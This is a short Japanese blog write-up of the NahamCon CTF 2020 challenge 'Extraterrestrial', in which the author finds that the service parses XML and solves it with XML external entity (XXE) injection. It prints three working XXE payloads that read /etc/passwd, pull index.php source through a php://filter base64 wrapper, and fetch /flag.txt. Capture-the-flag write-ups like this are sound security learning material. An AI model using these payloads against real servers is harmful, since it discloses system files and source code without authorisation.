はまやんはまやんはまやん

hamayanhamayan's blog

Extraterrestrial [NahamCon CTF 2020]

Have you seen any aliens lately? Let us know!
The flag is at the start of the solar system.
Connect here:
http://jh2i.com:50004

適当に入れ込んでみるとInvalid document endとなる。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaとか入れてみると、Not well-formed (invalid token)となる。
4文字以上であるとNot well-formed (invalid token)になるっぽい。
<html></html>とすると、array(0) {}が出てくる…
XML解析でもしている?

XXE

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><locationCheck><productId>&xxe;</productId></locationCheck>

どっかで使ったXXEコードを入れてみると色々出てくる。
ほほう。
内部的にはapache使ってるっぽいのでエスパーして、ソースを持ってきてみる。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]><locationCheck><productId>&xxe;</productId></locationCheck>

なるほど、エラーコードでググればXMLパーサーを使っていることはすぐわかったのか。
特に気になる部分ないな。
とりあえずエスパーするかと思ってやったら一発AC

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///flag.txt" >]><locationCheck><productId>&xxe;</productId></locationCheck>